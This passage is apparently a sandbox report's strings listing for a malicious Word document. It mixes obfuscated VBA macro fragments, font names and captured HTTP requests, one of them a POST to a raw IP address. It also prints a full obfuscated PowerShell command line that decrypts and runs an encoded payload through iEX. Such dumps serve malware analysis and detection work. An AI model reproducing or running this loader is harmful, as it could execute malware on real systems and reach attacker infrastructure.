P hffX6pff
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
P(\_)KHP7!PCD(Fwa1[.MJn$r<
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
p*rFqiaDipZdAETj dmcGCdQvrwoIHmOPvfYujKqSfVh'@ ~ 2 <Y /c M f% X,$N'B .9 n a
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
p5Rz8bJFxTy<IgalqT7N0#`'(`
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
PageLayaut
Ansi based on Image Processing (screen_0.png)
pageLayout
Ansi based on Image Processing (screen_3.png)
Palace Script MT
Unicode based on Runtime Data (WINWORD.EXE )
Palatino Linotype
Unicode based on Runtime Data (WINWORD.EXE )
Paragraph
Ansi based on Image Processing (screen_0.png)
Parchment
Unicode based on Runtime Data (WINWORD.EXE )
PC58*jdRtjhkmWftmlPc U0p'GSjRidKCcgrNoDcrjs@XscYowF39UzcJRtZoPCkJQb3\8, qPTJPLcdqon1D"sKWNnSsVElbTcW@kQUlqzsmwXnkAVLtawkpUizVdQpGiupaA9(627(aeSwhjvNTXtIIhp57180 N* sIcvPOof`["3t2VKzZKWUtpj`1us,AXVzpoNw#VOaSuFSwnnbp1761IzMwjwKJq=BJirSRM
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
PDcTmVrqRU
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Perpetua Titling MT
Unicode based on Runtime Data (WINWORD.EXE )
PIISDwwfIKifLOmmRjzDZYiiMDBnFFJqUirTwdHE6eWbmwnr{EvLikkYkuiV5
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
PiwiIbBUjrpsH!a946510GAAzE!jKof@lEG
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
PjsdlsuGhU
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
pJtqzFKcclLBuczoohczGowQE
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
PJ{KRcJ;y%xmxmT7)`sh+y\oIx&x5hX+isbLhwW(r&X7;vt4=&?/(A40J_~P4
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
pk q[ J~ X,$N' E\ ,X " $ & (X,$N' $j'*%OifETHFzv% tes&&eh=%5ravzFJWcBTAklYPo', 0 2Q 4 6jZ 8jb : <>$ >X,$N'. B DP Fltk Hqr J]Pc L N= PX,$N'@ ,$j'R/rWBYYoGzijNTnitGSIfOKTYZwSNDAfhtqes&&zuuUYvKqOv'T X ZW \O ^o `B b dbg fX,$N'V j l nt pXH rbm t v; xX,$N'h T$j'z#ITMvfUBjui=%1rav% tes&&cotpVIjMMVQn'| d " #\ ZBt x X,$N'~ PM . >c * X,$N' |$j''djbuSEbwaMspaFrh=RjRJFNSnspJKidvfHfViCb' E" [ n
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
pkCOwLopGFwQLbBVIWhcbRjwjfzjNCNPVYqTEaPNZOdml,hHMuEbzMNIKYiOzNPZwRCcVQOsVVtEIjaGGSHw:*tiwjvAsqoLdLuQriLQpZnnPEkZoN
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
pkMkiBLJYwSzjHnDrIuLUCWDdPiFKn
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Plantagenet Cherokee
Unicode based on Runtime Data (WINWORD.EXE )
plYXhVRHEJnWNrHFmMEwGIAKL]
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
PMingLiU-ExtB
Unicode based on Runtime Data (WINWORD.EXE )
pNADHQGTiUDFqBlZtZWVirAMiHXLLwnPRIG
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Poor Richard
Unicode based on Runtime Data (WINWORD.EXE )
POST / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: 91.217.66.130:443Content-Length: 388Connection: Keep-AliveCache-Control: no-cache"
Ansi based on PCAP Processing (network.pcap)
POST /dms/metadata.svc HTTP/1.1Connection: Keep-AliveContent-Type: text/xml; charset="UTF-16LE"User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENTSOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"Content-Length: 1194Host: dmd.metaservices.microsoft.comu
Ansi based on PCAP Processing (network.pcap)
POST /dms/metadata.svc HTTP/1.1Connection: Keep-AliveContent-Type: text/xml; charset="UTF-16LE"User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENTSOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"Content-Length: 1276Host: dmd.metaservices.microsoft.comt
Ansi based on PCAP Processing (network.pcap)
POST /dms/metadata.svc HTTP/1.1Connection: Keep-AliveContent-Type: text/xml; charset="UTF-16LE"User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENTSOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"Content-Length: 1814Host: dmd.metaservices.microsoft.comu
Ansi based on PCAP Processing (network.pcap)
POST /dms/metadata.svc HTTP/1.1Connection: Keep-AliveContent-Type: text/xml; charset="UTF-16LE"User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENTSOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"Content-Length: 2392Host: dmd.metaservices.microsoft.comr
Ansi based on PCAP Processing (network.pcap)
POST /fwlink/?LinkID=109572&clcid=0x409 HTTP/1.1Connection: Keep-AliveContent-Type: text/xml; charset="UTF-16LE"User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENTSOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"Content-Length: 1194Host: go.microsoft.comu
Ansi based on PCAP Processing (network.pcap)
POST /fwlink/?LinkID=109572&clcid=0x409 HTTP/1.1Connection: Keep-AliveContent-Type: text/xml; charset="UTF-16LE"User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENTSOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"Content-Length: 1276Host: go.microsoft.comt
Ansi based on PCAP Processing (network.pcap)
POST /fwlink/?LinkID=109572&clcid=0x409 HTTP/1.1Connection: Keep-AliveContent-Type: text/xml; charset="UTF-16LE"User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENTSOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"Content-Length: 1814Host: go.microsoft.comu
Ansi based on PCAP Processing (network.pcap)
POST /fwlink/?LinkID=109572&clcid=0x409 HTTP/1.1Connection: Keep-AliveContent-Type: text/xml; charset="UTF-16LE"User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENTSOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"Content-Length: 2392Host: go.microsoft.comr
Ansi based on PCAP Processing (network.pcap)
powershell "iEX(( [RuNTime.InteropsErviCEs.maRsHaL]::PTrTOsTRinGAUto( [rUNtImE.iNTERoPSERVIceS.marsHAL]::SecUReStriNGTOBSTR($('76492d1116743f0423413b16050a5345MgB8AGUAQgBpAFgAawBzAGMATgBrAEgAQgBiAE4AUAB2AFUATgBPAHkAMQBuAGcAPQA9AHwAZABhAGQAMgA1ADUAMwBjAGIAMwA0ADEANABlAGQAZQA4ADEAZAA3ADIAMAA3ADYAYgA5ADcAZQA5ADgAYgA4ADMAMgAwAGEANABiAGIAZQBiADgAOAA3AGQAMgAyAGUAOQA4AGEAZABlADcAYQBlADQAYQA5AGYAZABlADQAMwBhAGYAMgAyADcANgAxADAAYgA5ADcAYgA1ADIAOQBmAGQAZQA3ADIAZABiADAAYwA5ADkAOABiAGQAMQBlADEAMgBmADkANABjADkAMgAxADAAOAA1ADkAMwBjADcAZgBlAGIAZAA4AGMAZgA2AGQAZQBiAGMANwBmADYANQA0ADIANgBmAGIANwA2ADYAZAAyADkAMQAwADUAZQA0ADMAMgA1AGIAOQBiAGEAYgA4ADgANgA3ADQAMAAzADYAYgA3AGEANwA3ADUANQA5AGUANwAxAGIAMQAyAGMAMAA0AGMAZgA4AGMANAA0AGMAYQA5ADYAYwA5AGYANQAzADMAMAA3ADQAMAA5AGMAMgA1ADUAMQAxAGEAYgA0ADIAZQBjADQAZAAzAGUAOQAxAGUANABmADYAMgA2AGIANgBmADAAMQAwADMANgA3ADkAMAAzADMAZQA5ADgANgA1AGUAMABkADQANQA3AGQANAAzADMANABmAGQAOQA1AGQAOABiADgANQBiADAAZABiAGIAMQA5ADcAOAA4ADAAZQA4AGYAMAA4ADcAMgA2ADQAOQBiAGMAYQAwADQAZQAxADkAYwBiAGYANgA4ADEANQBiADMAMgAxADkAZQBiADQAZAAxADUAOQA5AGIANgA1AGYAMwBhAGIAZgA3ADgANQBiAGEAMQAzADMAYwA0ADkANwA1ADIAOAAzADkAZQBiADAAMwAwAGQAMQA4ADEAOABlADUANgAxADAAMgA2ADAAMgAwADcANQAwADYAZgBiAGQAMQBjADcANABiAGMAOAA4ADIANwAyAGUAZAA4AGUAMwA0AGQANAAxADEAMAA2ADcAMQA3ADAAMQBkADIANAAyADEANgAzAGIAMwA1ADMAZAA4ADMANABmAGQAMQBiAGIANwBmAGQAMgAzADUAMgA4AGEANwA1ADIAZgA2ADYAYwA3ADAAOAA4AGUANwA0ADcANwBjADUAMgBlAGUAZQBhADkANwA3ADcAZQBjAGUAMAA1ADYAMQBkAGYAMABmAGMAYwBhADYAMwA2ADkAOQBlADQANQBmAGMAZAAwADMAOABjAGEAMgAzADcANQAyADQAYQA3AGIAYQA4AGUAYgA5AGIANgBlADgAZABiAGYANwA2ADYANQAyAGYANQBmAGEAZgBmAGUAMwA4ADkAYwA4ADEAZQA0AGIAMQBjADgAOAA3ADYANgBiADEANABhADYAOAA4AGUAOABjADYAOAAzAGEANwA2ADAAMQBjADEAOABjADkAOQAyAGUAYwA0ADMAOQA4ADAAMAAwAGYAOABmADYAMQA4ADgAMAA5AGMAMgAxADMANgBmADAANwBmAGUANQAzAGEAYgA3ADEAYQBlAGYAZgA0ADEAMAAwADMANgA0ADMAOQAzADMAYQA0ADkANwBmADAAMABlAGUAMQBmADAANgAyADgANAA0ADUAOQBiADQAYQA1ADkANABiAGUAZAA1AGYAOQA3ADEANAA1AGYAYQBkADYAMABkAGIAMwBhAGEAMgA3AGMAZAA1ADUAOQA3ADAAMwAwAGIAOQA3ADkAMAAxADkAZAAxADgANwBlADAAOQBlADkAOQBmADMAZAA0ADUAOQA3ADQAMAA3AGMAYwA4ADIANgA5ADAAMgBmADgAYQAxAGEANgA2AGYAMwAzADAAZQAyAGYAMQBiADIANQA2ADIANQBmAGEAZABiADQAMAA5AGUAOQA1AGEAYgBhADAAOAAyADYANgAyAGEAZQBkAGUAZgBhADYAYQBkADAAMQAyADIANgAzAGEAZABiAGUANgAyADkAYgA3ADIAZAAzAGYAMwAyADAAMwBjAGMAYQBmAGYAMgBmAGUAMQBmAGUAMAA2AGMAZABlAGUAZgBkAGQANgAxAGIAMwAyADYANQA0ADgAOAA3ADEANgAwAGIANABhAGMANABkADEAZgBlAGIANABiAGYAMABkADAAOQBhADcAMABlAGQAYgAyAGQAMAAwAGIAOQAxADcAMgBlAGIANQAxADcAOAAyADQANQA4ADMAYgA5AGIAZAA4ADAAMgBiADgAYwBhAGYAMgAxADYAMQA4ADkAYwA5ADEANwBhADEANgA2ADcAYgBjADUAOAAxADUAYQBkAGMAYwAyADgAZQAxAGUAZQBiADQANgBhADUANABlAGQAYwA1ADMAZgA1ADcANAA1ADEAMQA1AGUAZgAyAGQAYgAzADUANgBmADUAYgAxADYANwAxADcANQA2AGIAMgA5AGYAMwA5ADQAMABmADkANgA1ADgAZQA4ADcAMgBkADMAYgAzAGUAOABiADUAOQBiADMAYgAzADMAYgBjADMAYgBjADMAYQAzAGQAOQA4ADUAOAA4ADgAMAAzADYAYwAyADUANgA3ADcAYQA3AGEANgAzAGUAMQBhADAAZABhAGMAZQBjAGYANQA5ADUAYwA0AGQAYQAyADEAZABiAGMAMQBiADcAMwA3ADYAYwAyADIANAA5AGEAMQAzAGYAZgAzADYANAA2AGIAMgBjAGYAZQBlADkAMQA3ADcAYwBmADgAZQA1ADIAYgA3ADQAZAA2ADgANQA4ADAAMwAxADMAYwBjADAAOQAxADAAOQAwAGMANwAxADkAOQA2ADkAMgBlAGMAZgA3AGMAMgBmADcANwA3ADYAOQAxADAAMAAzADkAMwAzADkAZgA1AGUAYgBkADUAOQA1ADAAYgA1ADQAOAA2AGQAMABhADMANAA3ADMANQA0ADAANwA0ADIANwAxADkAMgA1AGUANABhAGMAYgAyADQAYgA1AGIAYQAzADcAZgA1ADIAOABkAGIAYgA0ADEAOAA3AGUAZgBmAGYAYgAyADQAYwA0ADUAZQBjADgAYwA0ADUAOABjADcAYwBkADMAZgA5ADcAZgBlADcANAAyADIAZgA4AGQANQA4AGUAOQBhADIAOAA0ADgANgA0ADIAMQA2AGQAYwAwAGIAMwA0AGQAZgBlAGUAYwBlAGUAYQAyAGQAZQA2ADUAZgA1ADcANAAyAGUANwAwADYANgA5ADYANwBkAGMAZAAzAGYANQBjADUAMABhADMAMQBkADYAMwAyADMAYwBiADAAMQBiAGYAYgA3ADMAYQA2AGMANAA1AGEAMQAyADgANQA5AGUAMQA4ADYAOABlADkAYwA1ADMAMwA2ADIAMQA1ADIAYwAxAGYAZQA2ADYAZABlAGEAMAA1AGEAYgAzAGUAZAA3AGYAYgBkAGIANAAwAGYAZABmAGMAZAAzADgAYgAxADEAMgA4AGIAYwA1ADMAMgA5AGQANQAyAGUAMQA2ADAAMwA3AGQAMgBmAGYAOABiAGIAYQA2ADcAMwAzADAAZAAxADEAZgAxADgAOQBhAGIAZgBlADkAYwAwADIAMQA2ADcAMgA5ADkANQBhADcAYgA4ADUAZABhADkAMAA4ADkAOQA0ADUAOQBmADcAMgA3ADMAYwAzADIANQBiADMAZABlAGQANAA5ADgAMABmAGYAZQBiAGYANwAzAGUAZABhAGMAMgA1AGEAYgA1ADMAOAA1ADUAYwAyAGIAMwA3ADIANwA5ADEANAA1ADIAOAAyAGYAOAA5ADgAMQBhADEAYgAzADMANQBmADAAOQAwADMAZgAxAGIAZAA2ADQAYQA4ADIANQBkADMAZgBlADgAZgBlADQANAA4ADMAZQAyADQAMQA1ADIAYQBiAGMANgA4ADQAYwBhADkAZABmADEAOAAxADEAYwAzADQAMgA4ADcAOAAwADAAOAA1ADQAMAA2ADEAYQBjAGUAYwBjADMAZgA2ADkANQA2ADIAYQBlADIAZAAwADMANQA0ADYAYwA3ADIAMwA1AGYANABhADYAOQBmADIAYQBhADUAMgBiADgAZABmADgAYQA2ADQAMwAxAGQAMAA3ADYAMgAxADEAYgBiADUAYQA1AGYAOAAzADQANwAwADUAZgBiAGYANQBhADEAMABlADIAYwBmADEAMwA2ADAANQAxADAAMQBmAGQAZAAxADYANwBiADIAMQBlADIAYQAyAGIAYQBiAGIAMAA2ADIAYgA1ADIANwBmAGUAYgA4ADkANgA4ADEAYgBkAGQANAAxADMAMABhAGMAOABiAGYAMwAxAGMAZQBiADkAMgBhADEAOQBhADAAZQBmAGMAOQA2AGEAZgAwAGYANQBkAGMAYQA0AGYANgAwAGMAYgA0AGMAMwBlAGIANwBmADQAMAA2ADAANgBlADYAOQBjADUAYQA2ADgAMgA5ADUAYwBmADAAYwA5ADIAYwA0ADcAYwA4ADYAOQBlADEAMgAxAGEAZAAxAGQANwA4AGQAYgAwAGIAMwBkADQAYgA3ADUAZAAwADcAYQA3ADAAYQAyADYAOAA5AGMAYgBiAGYAMwA2AGUAYwAzADIAZQA2ADIAMgA3AGQAYwAyAGEAOQAyADcANwAyADUAYQA5ADkAYwBkADgANgBlADEANAA3ADUAYQA4ADgAYQA4AGUAMgBiAGMAOABkAGUAZQAzADUAMgAzADEANwA1ADAAOABmADcAMQAwAGUAZgA3AGMAMgA2AGYAYgA5AGQAOAA2ADkAMQBjAGMAZAAyADIAMgBiADcAMAAzADMANQA4ADgAOABkAGMAOAAxADQAZABhADQANQA3ADAAZgBhADkANwAzAGUAMQA3AGEANAAzADgAOQA0ADUAMgAwAGUAOQBhADAANwA1AGYAMAAzADcAMABjAGUAMgBjADcAMQBmADUAMwBhADIAZgAwAGYAOABiAGIAMABlAGIAYgBjADMAOQBlADQANwA3AGEAZgA2AGQAMQA3AGUAZQBmADQAYQA1AGMAMQBkADcAYgA4ADEANwAwADIANgAyAGMANwA0AGEAYgAyADIAYgBkADYAZQBlADAAYQA2ADEAZgA5AGMANQA3AGMAMgBlADQANAA2ADkAOAAxADgANgBlADAAMgAwADgAOQA0ADEAOQBhADYAMQA2AA==' |ConVerTTO-secuREStrING -KEy (146..169)) ))))
Ansi based on Process Commandline (powershell.exe)
pOzAhdwW=44, 44, 1404, 711,
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
pOzAhdwWNmhnWHTzJVmj*ybOZoJDmQi(r&_VBA_PROJECTKGAwAwMAADA3AQOAUDGCdQvrwoIHmOPvfYujKqSfVh'@f, > @V B D.* F$ H JR$ LX,$N'B( N Pxq R(^ T02 V" X Z \X,$N'Vj @$j'hte<GMwcIQAA1AAZAMGA3AgMAEGAhBwMAIGAkBAMAYDAkzqsYwLtUMjsADtaqTch'lft ^ ` b)WR d.t f6 h jVb lX,$N'n n p4 rsD t~>Z v.v x z
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
pp+slv*hw<.>K?"(W:-om><=oGZ#F^5^)iYOK+e-cTl)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
PplFABtztCWlZwsPwjtMqIhUk\\RwojDJfFRvpioHBHbR
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
PPpAjzUPstMpDjCJfBCApFUtmYpotcjUjMsfR<nDzkAjQEouiuAwjKSUnZP8YCcoCzOrVYmDwBqDvBztmciNzaOnapchgWwEaCNWOtkIs|_VTYwfQIFZRAuuJRjDbNMpuriTCOM2hkJoJsqiZzRcBovsGCjkoKGajbcYwLmvMANoRlnVXr_SBwIIhFlHksdSIhLWMYufRkJzObSQajPndbmGE?\XmNzuuAOriBJQUKtjVMpmCoXOcQZ:#SUIaMzQVEjkJ|VdLGrabGfOlIBKkBmzloHtNSrkjCsjIkRJiZc>nYBGcCcDCtEVr1FZRJPcZ9wJPSJMMrhXYpuTDsCscGfhXanhQEnUlziraAhQsD3OthYlikCTDkk6YJROkEEfvFKKTzLMNb5MtArTEjiuTN
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
PPVRfdqwiaACVfHkEkYNvhYSUZpOKtovWMhilINwNw7[VwFRKWVYccknzEmjVccGlWrsKaWwC'uEdUnQnjpVQsdkUiqNNUpfOUMZ]
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
PPVRfdqwiCVEkYP8cNvhYS
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
pQiHjGcCzJVcwAQaRsahFsXztAD=aVAMoQCbvpBwss=SlNahTIKzAnjfJeZWvCDvIYJGDFwGBndSrwhXqMKszLrZUujzCX
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
pRNflGtBjV
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
ProductFiles
Unicode based on Runtime Data (WINWORD.EXE )
ProductName
Unicode based on Memory/File Scan (195082.exe , 00013533-00002840.00000000.13854.0041F000.00000002.mdmp)
ProductNonBootFilesIntl_1033
Unicode based on Runtime Data (WINWORD.EXE )
ProxyBypass
Unicode based on Runtime Data (WINWORD.EXE )
pRVniCGCzFpKo
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
PSRoPAzRfRyPwAwfmjRMBJszzk
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
pST@SuWuNQwUGcouiatPqZHHJ( 762 SjzawOa1735AOzznzjhh%A847Q:EkPJmPv_1#2liLQAdas NqDitOq963lcF`staaM4
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
PtpJrifPckBjvhjrVGiS+
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
public-trust
Ansi based on PCAP Processing (network.pcap)
PuUoPlvjIZB = AADbjWrjphPQwCPYoGwdFn(266268~Eursu + 5143772 * snXHPs@rKcFYs(9173304kiKznmUwM PvMpW54 26258zruQwXcYuzzwVYjv SOZjr9700GmfYcvMjvmhN HtCDogjHBjhbyuf(uswKJtj, 7, 9)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
PVGmPzXbhPFpSWIBewYrqvIZtVbdtLhj#{GAzDKCIwm2XKUfWvEYf
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
pwiDdjYPWpwiA/YMjOrBn3VOptjLUiVkCEwtHij SwjUbYGLiiw*wtGuino`nZsjifKl
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
pXqdBkiJXdHpNsjXuJpsFCmBbduG|t
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
PzbdSznoXOh
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
PzFTEOEOfX?jZTkfXjUiiwjzwhSLZai[FKubFjJVzSRWaNXffPToYFA
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
PztCZGnrafSwc+r
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
pzVSU/P+u1i=0*5.|JWP@DWPJ)@I-C'Sr1Zdfo2.QQStpHgb3,F0\X.UIX]%;
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Q"!Js%WqE0)h!c5sgS;mot6]F6bd@Qg|>J3D>VMC(Si3M
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Q(Y.dZ)KE&DVdLO4$YcZyygD>AKx{*fIjfF6D*&iHB;1{*@ZI`=<HIe
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
q*~=E+Dz4
Ansi based on PCAP Processing (network.pcap)
Q/()I6BU:qug
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
qARHfFCwLbRndRKpMRSzRF
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
qA|(= Oc'CZ6d)yx
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
qBnUiQPRjvOGdqGHjCrCFNlDQPHrIILbTwJKaJoPi
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
qdBcrMYjUzs@JLWmMH-J0bUYWp7593QrEYkCXT
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
QdhaSpwL6rQutimOk=ZnMdbFXkqGP$(889qQP0sQKXp@892A>dYvzia uOnGm 668309a#ADA GUvEG
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
qDvBztA`385451
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
qhaZvhVOfz]R
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
QHEbv0j$Wt]8;yzQ11m/>rru)=G8:2[vJ9Nd[9(yr(+-H(`JM{I
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
qiKmPKVcpo6PdICfLzdiMdkaXpoTqaldwjkdpJGfAk#}bbWqbSbJJufcfkRjSVolUiFVnzHks}nBcGHQqfCEW7WozkYzhrKizSlrSUpOkJAHV-AjzvuUvXXtHkOA
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
qj\jk,{0bvnm:981939zDrOrwJJfTQq
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
qJWNdudLHM`WFFuTQDdaLMjGtGqXOJsNUhnZSnfHjIam
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Qjzc~?D#>'+d4Y--G\/jSsWI[*eU9/.Ul2tf8Ef z[b8pSaCh/,wuFA-H;PZ}8n7=@snn/C}0pol>@DIjf8_rf=3^e*`)nO?sB{v2|?{`wnko[wzu'ZA"S>k|}uum~x;nkW.gw=;9Gmrv]%*qQWUR-U/y{U_zs>xV7Md_'5bm~Sq}q||
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
QKAmqICE;
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
QkhBCXEIjajMYOiHuUHOwMD@ffwrEWPJwwqLwnSUpGkAWIcaVjtaJCRzbuh|"TDIiaWgGYrvdWNiJnCSwucFVhIjVkCpnjsn@iRbTzozwmsDSSHizaDMsOcQDW{
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
QlUCpomKXiouR/XQYYoVjnGMjnkQ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
QMoCjpjkfQ0ijKRSfRsjkQSMWAlXFpFQMczMuv*foMOjholmoNYcDmQdJjttiM#btEpwmlVbzFcGzqTzmTAEjqjjkLobvnmdO&zDrOrwJJfTQw.LLMuFuDDAKVjEAeBiQYwiowTObiYUDrT7VTTTBVStKRjujM!jvAwIPjaLLmAHiK`0
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
qnjhvPuwSkGBE
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
QnNVzEAr!1zNQV1(713345!!*uJXD52784RYqLMnz64@1aTErhMBPday4500149 UtcTDS
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
qqsozXJJBL9(j# pRN$+G$xME@IxjXiVI8GMwcItUMjIX,nP\c^xMEH&'8'B2fHf60fhf8:Pff`,xffx2ff0(ff@:ffh0ff2f8ff
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
QRjziEzjfWrCGESjAtszVuHSrVWJZiBSitaRf?nXRbokjh++QapjKjtvWdjbiqXbZFop'YPJADjaFaDST`zFjjwrwDpBavLzMnwAGZlAkiTs6lwjXVqV:
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
